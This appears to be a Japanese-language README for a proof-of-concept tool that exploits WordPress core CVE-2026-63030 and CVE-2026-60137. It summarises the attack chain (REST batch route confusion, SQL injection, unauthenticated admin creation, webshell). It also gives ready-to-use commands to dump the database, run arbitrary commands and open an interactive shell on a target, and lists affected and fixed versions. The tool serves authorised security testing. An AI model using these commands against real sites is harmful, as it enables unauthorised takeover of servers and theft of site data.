securelayer7/wordpresshellCVE-2026-63030 / CVE-2026-60137 (WordPress コア) の Pre-auth RCE PoC
CVE-2026-63030 および CVE-2026-60137 (WordPress コア) に対する事前認証 RCE PoC。
REST /batch/v1 ルート混乱 → WP_Query author__not_in SQLi → 未認証管理者作成 → Webシェル。単一ファイル、Python stdlib のみ。
脆弱性発見: Adam Kues (Searchlight Cyber)。影響を受けるバージョン: 6.9.0–6.9.4, 7.0.0–7.0.1。修正済み: 6.9.5 / 7.0.2。
python3 WordPresShell.py check http://target # 確認 (非破壊的)
python3 WordPresShell.py dump http://target [--query "SELECT @@version"]
python3 WordPresShell.py shell http://target --cmd "id" # クラック不要の RCE
python3 WordPresShell.py shell http://target -i # インタラクティブ
python3 WordPresShell.py shell http://target --user U --password P --cmd id
docker compose up -d # WordPress 7.0.1 on :8092
docker compose down -v # 破棄
shell は管理者を作成し、Webシェルを配置します — テスト後は両方を削除してください。許可されたテストのみ行ってください。